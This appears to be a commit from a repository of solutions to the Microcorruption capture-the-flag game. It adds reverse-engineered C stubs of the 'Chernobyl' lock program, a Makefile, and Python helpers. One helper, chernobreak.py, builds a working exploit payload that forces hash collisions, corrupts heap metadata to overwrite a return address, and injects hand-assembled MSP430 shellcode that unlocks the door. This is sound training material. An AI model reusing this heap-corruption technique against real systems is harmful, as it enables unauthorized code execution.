mirror of
https://git.soft.fish/val/MicroCorruption.git
synced 2025-10-29 14:49:14 +00:00
Renumber levels to match official indices
This commit is contained in:
59
18-Chernobyl/Code/Makefile
Normal file
59
18-Chernobyl/Code/Makefile
Normal file
@@ -0,0 +1,59 @@
|
||||
|
||||
# ---------- Variables listed below --------- #
|
||||
# Executable
|
||||
TARGET := chernobyl.out
|
||||
|
||||
# Paths to source, include, dependency, and object files
|
||||
SPATH = src
|
||||
IPATH = inc
|
||||
DPATH = dep
|
||||
OPATH = obj
|
||||
|
||||
# File type of source file
|
||||
STYPE = c
|
||||
|
||||
VPATH = $(SPATH) $(IPATH) $(DPATH) $(OPATH)
|
||||
|
||||
# compiler and compiler flags
|
||||
CC = g++
|
||||
CFLAGS = -I$(IPATH) -std=c++11 -Os
|
||||
|
||||
# list of object files
|
||||
SOURCES = $(wildcard $(SPATH)/*.$(STYPE))
|
||||
OBJECTS = $(addprefix $(OPATH)/,$(notdir $(SOURCES:.$(STYPE)=.o)))
|
||||
|
||||
|
||||
# ----------- Targets listed below ---------- #
|
||||
# Some targets aren't real
|
||||
.PHONY: all clean run dump
|
||||
# Don't autodelete object files:
|
||||
.PRECIOUS: $(OPATH)/%.o
|
||||
|
||||
all: $(DPATH) $(OPATH) $(TARGET)
|
||||
|
||||
dump:
|
||||
@echo SOURCES: $(SOURCES)
|
||||
@echo OBJECTS: $(OBJECTS)
|
||||
@echo TARGET: $(TARGET)
|
||||
@echo VPATH: $(VPATH)
|
||||
|
||||
clean:
|
||||
-rm $(TARGET)
|
||||
-rm -r dep obj
|
||||
|
||||
run:
|
||||
-$(addprefix ./,$(addsuffix ;,$(TARGET)))
|
||||
|
||||
$(DPATH) $(OPATH):
|
||||
mkdir -p $@
|
||||
|
||||
# Make the executable(s)
|
||||
%.out: $(OBJECTS)
|
||||
$(CC) $(CFLAGS) -o "$@" $^
|
||||
# Make the object and dependency files
|
||||
$(OPATH)/%.o: $(SPATH)/%.$(STYPE)
|
||||
$(CC) $(CFLAGS) -MMD -MF "$(DPATH)/$(@F:.o=.d)" -o "$@" -c "$<"
|
||||
|
||||
# --------- Inclusions listed below --------- #
|
||||
# use dependencies when rebuilding
|
||||
-include $(wildcard $(DPATH)/*.d)
|
||||
19
18-Chernobyl/Code/crappy_python/caller_id.py
Normal file
19
18-Chernobyl/Code/crappy_python/caller_id.py
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
caller_id: Call a function with arbitrary parameters in microcorruption
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
preamble = "reset; break main; continue; unbreak main;"
|
||||
|
||||
while 1:
|
||||
address, *args = re.split(r"[(,) ]",input("> "))
|
||||
if address == "": break
|
||||
print(f"{preamble} Let pc = {address}", end=";")
|
||||
reg = 15
|
||||
for arg in args:
|
||||
if arg:
|
||||
print(f"Let r{reg} = {arg}", end=";")
|
||||
reg -= 1
|
||||
print("\b ")
|
||||
53
18-Chernobyl/Code/crappy_python/chernobreak.py
Normal file
53
18-Chernobyl/Code/crappy_python/chernobreak.py
Normal file
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# user info
|
||||
user_struct_size = 0x12 # User is a tuple of (char[16], i16)
|
||||
|
||||
users_per_box = 0x5
|
||||
|
||||
# Stack info
|
||||
ret_stack_addr = 0x3dce - 0x0004 # 3nd index of header struct
|
||||
ret_addr = 0x49a2 # Address that will be returned to
|
||||
stackbuffer_top = 0x3df0 - 0x0006 # top of stack buffer, PLUS "new "
|
||||
target_offset = ((stackbuffer_top - ret_addr) & 0xffff) + 1
|
||||
|
||||
print(f"{ret_stack_addr = :x}, {ret_addr = :x}, {target_offset = :x}");
|
||||
|
||||
bnew = b'new '
|
||||
|
||||
clobber = ret_stack_addr.to_bytes(2, 'little').hex() + 'fc50' + target_offset.to_bytes(2, 'little').hex()
|
||||
|
||||
'''
|
||||
sub.b #1, r8 5883
|
||||
swpb r8 8810
|
||||
mov r8, sr 0248
|
||||
mov #4cfc, pc 3040 fc4c
|
||||
'''
|
||||
payload = "5883 8810 0248 3040fc4c"
|
||||
|
||||
# Hash function, which governs the boxes
|
||||
def hash(byts: bytes):
|
||||
ret = 0;
|
||||
for c in byts:
|
||||
ret += c
|
||||
ret = ((ret << 5) - ret) & 0xffff
|
||||
return ret
|
||||
|
||||
# Fix a string by adding a character that causes a hash collision
|
||||
def fixhash(name:bytes, box:int, modulus:int):
|
||||
error = box - (hash(name) % modulus)
|
||||
if error % modulus == 0:
|
||||
return name
|
||||
name += (ord("@")+error+modulus).to_bytes(1, "big")
|
||||
print(f"{name.hex() = }; {error = }; new box = {hash(name) % modulus}")
|
||||
return name
|
||||
|
||||
def a2h (s: str):
|
||||
return bytes(s, 'ascii').hex()
|
||||
payload = f'{a2h("new ")} {fixhash(bytes.fromhex(payload), 0, 16).hex()} {a2h(" ;new 8 ;new @ ;new H ;new P ;")} {bnew.hex()} {fixhash(bytes.fromhex(clobber), 0, 16).hex()} {a2h(" ;new 1 ;new 9 ;new A ;new I ;new Q ;new")}'
|
||||
print(payload)
|
||||
|
||||
exit(0)
|
||||
while 1:
|
||||
name, box = input("> ").split()
|
||||
print(fixhash(bytes(name, "ascii"), int(box), 16).decode('ascii'));
|
||||
24
18-Chernobyl/Code/crappy_python/hashfunc.py
Normal file
24
18-Chernobyl/Code/crappy_python/hashfunc.py
Normal file
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# TODO: Actually break the hashes?
|
||||
# TODONE in chernobreak.py
|
||||
|
||||
def hash(chars):
|
||||
ret = 0;
|
||||
for c in chars:
|
||||
ret += c
|
||||
ret = ((ret << 5) - ret) & 0xffff
|
||||
return ret
|
||||
|
||||
while True:
|
||||
try:
|
||||
line = input("> ")
|
||||
if (len(line) and line[0] == '~'):
|
||||
h = hash(bytes.fromhex(line[1:]));
|
||||
else:
|
||||
h = hash(line.encode())
|
||||
print(f"hash: {h:x}, box[3]: {h&7:x}, box[4]: {h&0xf:x}");
|
||||
except EOFError:
|
||||
break
|
||||
|
||||
print("")
|
||||
43
18-Chernobyl/Code/inc/chernobyl.h
Normal file
43
18-Chernobyl/Code/inc/chernobyl.h
Normal file
@@ -0,0 +1,43 @@
|
||||
#ifndef CHERNOBYL_H
|
||||
#define CHERNOBYL_H
|
||||
|
||||
#include "chernobyl_types.h"
|
||||
|
||||
u16 _main ();
|
||||
u16 walk (u16 r15); // unused
|
||||
u16 run ();
|
||||
|
||||
u16 *create_hash_table (u16 exponent, u16 size);
|
||||
u16 add_to_table (u16 *table, char *username, u16 pin);
|
||||
// Return address of a buffer from the table
|
||||
// r15 = buffer address. r14
|
||||
u16 get_from_table (void *r15, char *r14);
|
||||
u16 hash (char *str);
|
||||
u16 rehash (u16 *table, u16 r14);
|
||||
|
||||
// Strings, named after the position of the first character in memory
|
||||
// Strings associated with <walk>
|
||||
#define s_4566 "\r\r"
|
||||
#define s_4569 "%x [alloc] [p %x] [n %x] [s %x]"
|
||||
#define s_4588 " "
|
||||
#define s_458b " {%x} [ "
|
||||
#define s_4594 "%x "
|
||||
#define s_4599 "%x [freed] [p %x] [n %x] [s %x]"
|
||||
|
||||
// Strings associated with <malloc>
|
||||
#define s_465e "Heap exhausted; aborting."
|
||||
|
||||
// Strings associated with <run>
|
||||
#define s_4a38 "Welcome to the lock controller."
|
||||
#define s_4a58 "You can open the door by entering 'access [your name] [pin]'"
|
||||
#define s_4a95 ""
|
||||
#define s_4a96 "No such box."
|
||||
#define s_4aa3 "Access granted."
|
||||
#define s_4ab3 "Access granted; but account not activated."
|
||||
#define s_4ade "Aceess denied" // [sic]
|
||||
#define s_4aec "Can not have a pin with high bit set."
|
||||
#define s_4b12 "User already has an account."
|
||||
#define s_4b2f "Adding user account %s with pin %x."
|
||||
#define s_4b54 "Invalid command."
|
||||
|
||||
#endif
|
||||
21
18-Chernobyl/Code/inc/chernobyl_stdlib.h
Normal file
21
18-Chernobyl/Code/inc/chernobyl_stdlib.h
Normal file
@@ -0,0 +1,21 @@
|
||||
#ifndef CHERNOBYL_STDLIB_H
|
||||
#define CHERNOBYL_STDLIB_H
|
||||
|
||||
#include "chernobyl_types.h"
|
||||
|
||||
// Standard library functions
|
||||
// These use MSPGCC calling convention:
|
||||
// https://www.ti.com/lit/an/slaa664/slaa664.pdf?ts=1659422621072
|
||||
// ( Or see https://nhivp.github.io/msp430-gcc/2018-07-20/function-calling-convention )
|
||||
void *_malloc (u16 size);
|
||||
void _free (void *ptr);
|
||||
u16 _putchar (char c);
|
||||
i16 _getchar ();
|
||||
void _puts (const char *s);
|
||||
void _getsn (char *__restrict buf, u16 length);
|
||||
int _strcmp (const char *s1, const char *s2);
|
||||
void INT (u16 interrupt);
|
||||
|
||||
void swpb (u16 *word);
|
||||
|
||||
#endif
|
||||
32
18-Chernobyl/Code/inc/chernobyl_types.h
Normal file
32
18-Chernobyl/Code/inc/chernobyl_types.h
Normal file
@@ -0,0 +1,32 @@
|
||||
#ifndef CHERNOBYL_TYPES_H
|
||||
#define CHERNOBYL_TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint16_t u16;
|
||||
typedef int16_t i16;
|
||||
typedef uint8_t u8;
|
||||
typedef int8_t i8;
|
||||
|
||||
typedef struct registers {
|
||||
// Registers = initial_state
|
||||
u16 sp; // stack pointer
|
||||
u16 sr; // status register
|
||||
// General-purpose registers
|
||||
// Caller-saved registers
|
||||
u16 r4; // GPR 4
|
||||
u16 r5; // GPR 5
|
||||
u16 r6; // GPR 6
|
||||
u16 r7; // GPR 7
|
||||
u16 r8; // GPR 8
|
||||
u16 r9; // GPR 9
|
||||
u16 r10; // GPR 10
|
||||
u16 r11; // GPR 11
|
||||
// Callee-saved registers / function arguments / return value(s)
|
||||
u16 r12; // GPR 12 ; arg 3
|
||||
u16 r13; // GPR 13 ; arg 2
|
||||
u16 r14; // GPR 14 ; arg 1
|
||||
u16 r15; // GPR 15 ; arg 0
|
||||
} re;
|
||||
|
||||
#endif
|
||||
146
18-Chernobyl/Code/src/chernobyl.c
Normal file
146
18-Chernobyl/Code/src/chernobyl.c
Normal file
@@ -0,0 +1,146 @@
|
||||
// Just look at the function signatures in chernobyl.h and chernobyl_stdlib.h
|
||||
#include "chernobyl.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "chernobyl_stdlib.h"
|
||||
#include "chernobyl_types.h"
|
||||
|
||||
u16 to_decimal (char *buf) {
|
||||
u16 num = 0; // r10
|
||||
while (*buf) {
|
||||
num *= 10;
|
||||
num += *buf - '0';
|
||||
buf++;
|
||||
}
|
||||
return num;
|
||||
}
|
||||
|
||||
int main (int argc, char **argv) {
|
||||
if (argc == 1) {
|
||||
char buf[0x600] = {0};
|
||||
while (printf (">> "), _getsn (buf, 0x5ff), !feof (stdin)) {
|
||||
printf ("hash: %x, dec: %x\n", hash (buf), to_decimal (buf));
|
||||
};
|
||||
}
|
||||
|
||||
if (argc == 2) {
|
||||
printf ("hash: %x\n", hash (argv[1]));
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
u16 _main () {
|
||||
run ();
|
||||
return 0;
|
||||
}
|
||||
|
||||
u16 walk (u16 r15) {
|
||||
puts (s_4566); // "\n\n"
|
||||
printf (s_4569); //%x [alloc] [p %x] [n %x] [s %x]
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 0x4b66: run
|
||||
u16 run () {
|
||||
// move stack -0x600
|
||||
char buf[0x600];
|
||||
u16 *hashtable = create_hash_table (0x3, 0x5); // todo: What do these args mean?
|
||||
|
||||
// 4b82: Print out some shit
|
||||
puts (s_4a38); // "Welcome to the lock controller."
|
||||
puts (s_4a58); // "You can open the door by entering 'access [your name] [pin]'"
|
||||
puts (s_4a95); // ""
|
||||
|
||||
while (1) {
|
||||
// 4b9a: zero out the stack buffer
|
||||
for (int r14 = 0; r14 < 0x5ff; r14++) {
|
||||
buf[r14] = 0;
|
||||
}
|
||||
// 4bb0: get 0x550 characters -> stack buffer
|
||||
_getsn (buf, 0x550);
|
||||
// 4bba: loop over the user input:
|
||||
u16 index = 0;
|
||||
while (buf[index] != 0) {
|
||||
// 4bbe: check for 'a'
|
||||
if (buf[index] == 'a') {
|
||||
index += 7;
|
||||
char *name = &buf[index];
|
||||
// skip spaces
|
||||
while (buf[index++] != ' ') {
|
||||
if (buf[index] == 0)
|
||||
break;
|
||||
};
|
||||
} else if (buf[index] == 'n') {
|
||||
index += 4;
|
||||
// skip spaces
|
||||
while (buf[index++] != ' ') {
|
||||
if (buf[index] == 0)
|
||||
break;
|
||||
};
|
||||
} else {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
// end of the function
|
||||
puts (s_4b54); // "Invalid command."
|
||||
return 1;
|
||||
}
|
||||
|
||||
u16 *create_hash_table (u16 r15, u16 r14) {
|
||||
// todo: RE hash table creation
|
||||
u8 *buf = (u8 *) malloc (0xa);
|
||||
buf[0] = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Hash the string stored at addr
|
||||
u16 hash (char *addr) {
|
||||
u16 chr, hash = 0;
|
||||
while (*addr) {
|
||||
hash = *addr + hash;
|
||||
hash = (hash << 5) - hash;
|
||||
addr++;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
u16 add_to_table (u16 *table, char *username, u16 pin) {
|
||||
// todo: add_to_table
|
||||
u16 r14 = table[1]; // Box bitmask exponent? 3
|
||||
u16 r12 = table[2]; // Box bitmask mantissa? 5
|
||||
//! What the hell is going on here?
|
||||
r12 <<= r14; // 3 <<= 5
|
||||
if (r12 < 0) {
|
||||
r12 = r12 + 3;
|
||||
}
|
||||
r12 >>= 2;
|
||||
if (table[0] < r12) { // if there are more names in table than 10:
|
||||
rehash (*table, r14); // Make more boxes, and shuffle them around?
|
||||
}
|
||||
table[0]++;
|
||||
hash (r14);
|
||||
r12 = 1 << table[1];
|
||||
// Then do some boring stuff
|
||||
return 0;
|
||||
}
|
||||
|
||||
// get_from_table hash_table* table, string* username
|
||||
u16 get_from_table (void *r15, char *r14) {
|
||||
u16 h = hash (r14);
|
||||
u16 num = ((u16 *) r15)[2];
|
||||
u16 power_of_two = (1 << num) - 1;
|
||||
power_of_two = (power_of_two & h) << 1;
|
||||
num = ((u16 *) r15)[6];
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
u16 rehash (u16 *table, u16 exponent) { // Now I see the problem
|
||||
// This function makes the hash table 2^exponent units long
|
||||
// and rehashes all the usernames stored in each box
|
||||
return 0;
|
||||
}
|
||||
113
18-Chernobyl/Code/src/chernobyl_stdlib.c
Normal file
113
18-Chernobyl/Code/src/chernobyl_stdlib.c
Normal file
@@ -0,0 +1,113 @@
|
||||
#include "chernobyl_stdlib.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "chernobyl.h"
|
||||
#include "chernobyl_types.h"
|
||||
|
||||
#define HEAP_BASE 0x2400
|
||||
|
||||
void __trap_interrupt () {
|
||||
// Hardware will do something here
|
||||
return;
|
||||
}
|
||||
|
||||
void set_w (u16* addr, u16 value) {
|
||||
*((u16 *) &addr) = value;
|
||||
}
|
||||
|
||||
u16 get_w (u16 *addr) {
|
||||
return *((u16 *) addr);
|
||||
}
|
||||
|
||||
void *_malloc (u16 size) {
|
||||
/*
|
||||
4678: 0b12 push r11
|
||||
467a: c293 0424 tst.b &0x2404
|
||||
467e: 0f24 jz $+0x20 <malloc+0x26>
|
||||
4680: 1e42 0024 mov &0x2400, r14
|
||||
4684: 8e4e 0000 mov r14, 0x0(r14)
|
||||
4688: 8e4e 0200 mov r14, 0x2(r14)
|
||||
468c: 1d42 0224 mov &0x2402, r13
|
||||
4690: 3d50 faff add #0xfffa, r13
|
||||
4694: 0d5d add r13, r13
|
||||
4696: 8e4d 0400 mov r13, 0x4(r14)
|
||||
469a: c243 0424 mov.b #0x0, &0x2404
|
||||
; malloc+0x26:
|
||||
469e: 1b42 0024 mov &0x2400, r11
|
||||
46a2: 0e4b mov r11, r14
|
||||
46a4: 1d4e 0400 mov 0x4(r14), r13
|
||||
46a8: 1db3 bit #0x1, r13
|
||||
46aa: 2820 jnz $+0x52 <46fc>
|
||||
|
||||
46fc: 0d4e mov r14, r13
|
||||
46fe: 1e4e 0200 mov 0x2(r14), r14
|
||||
4702: 0e9d cmp r13, r14
|
||||
4704: 0228 jnc $+0x6 <malloc+0x92>
|
||||
4706: 0e9b cmp r11, r14
|
||||
4708: cd23 jnz $-0x64 <malloc+0x2c>
|
||||
; puts("Heap exhausted. Aborting")
|
||||
470a: 3f40 5e46 mov #0x465e, r15
|
||||
470e: b012 504d call #0x4d50 <puts>
|
||||
4712: 3040 3e44 br #0x443e <__stop_progExec__>
|
||||
4716: 0f43 clr r15
|
||||
4718: 3b41 pop r11
|
||||
471a: 3041 ret
|
||||
*/
|
||||
|
||||
// return the address of the new block
|
||||
return 0;
|
||||
}
|
||||
|
||||
void _free (void *ptr) {
|
||||
return;
|
||||
}
|
||||
|
||||
u16 _putchar (char c) {
|
||||
putchar (c);
|
||||
return c;
|
||||
}
|
||||
|
||||
i16 _getchar () {
|
||||
return getchar ();
|
||||
}
|
||||
|
||||
void _puts (const char *s) {
|
||||
u8 character = 0;
|
||||
while (character = *(u8 *) s++) {
|
||||
_putchar (character);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void _getsn (char *__restrict buf, u16 length) {
|
||||
fgets (buf, length, stdin);
|
||||
buf[strnlen(buf, length) - 1] = '\0';
|
||||
return;
|
||||
}
|
||||
|
||||
int _strcmp (const char *s1, const char *s2) {
|
||||
while (*s1 == *s2) {
|
||||
if (*(++s1) == 0) {
|
||||
break;
|
||||
}
|
||||
s2++;
|
||||
}
|
||||
return *s2 - *s1;
|
||||
}
|
||||
|
||||
void INT (u16 interrupt) {
|
||||
swpb (&interrupt);
|
||||
interrupt |= 0x8000;
|
||||
//r.sr = interrupt;
|
||||
__trap_interrupt ();
|
||||
return;
|
||||
}
|
||||
|
||||
void swpb (u16 *word) {
|
||||
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
|
||||
((u8 *) word)[1] = ((u8 *) word)[1] ^ ((u8 *) word)[0];
|
||||
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
|
||||
}
|
||||
Reference in New Issue
Block a user